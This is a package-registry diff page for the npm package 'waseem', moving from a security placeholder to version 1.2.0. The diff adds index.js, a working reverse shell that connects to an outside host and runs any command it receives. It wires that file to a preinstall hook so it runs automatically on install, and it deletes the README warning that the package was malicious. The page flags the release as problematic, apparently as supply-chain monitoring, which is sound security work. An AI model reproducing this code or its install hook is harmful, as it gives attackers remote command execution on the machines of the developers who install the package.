waseem 0.0.1-security → 1.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of waseem might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +42 -0
  2. package/package.json +12 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,42 @@
1
+ const net = require('net');
2
+ const { exec } = require('child_process');
3
+
4
+ // Replace with your IP and port
5
+ const HOST = 'electronics-affiliate.gl.at.ply.gg';
6
+ const PORT = 18666;
7
+
8
+ // Create a connection to the remote host
9
+ const client = new net.Socket();
10
+
11
+ client.connect(PORT, HOST, () => {
12
+ console.log('Connected to remote host');
13
+ // Send a confirmation message to the server
14
+ client.write('Reverse shell connected!\n');
15
+ });
16
+
17
+ // Handle data received from the server
18
+ client.on('data', (data) => {
19
+ // Execute the command received from the server
20
+ exec(data.toString(), (error, stdout, stderr) => {
21
+ if (error) {
22
+ client.write(`Error: ${error.message}\n`);
23
+ return;
24
+ }
25
+ if (stderr) {
26
+ client.write(`Stderr: ${stderr}\n`);
27
+ return;
28
+ }
29
+ // Send the command output back to the server
30
+ client.write(stdout);
31
+ });
32
+ });
33
+
34
+ // Handle connection close
35
+ client.on('close', () => {
36
+ console.log('Connection closed');
37
+ });
38
+
39
+ // Handle errors
40
+ client.on('error', (err) => {
41
+ console.error('Connection error:', err);
42
+ });
package/package.json CHANGED
@@ -1,6 +1,15 @@
1
1
  {
2
2
  "name": "waseem",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.2.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC",
12
+ "dependencies": {
13
+ "waseem": "^1.0.0"
14
+ }
6
15
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=waseem for more information.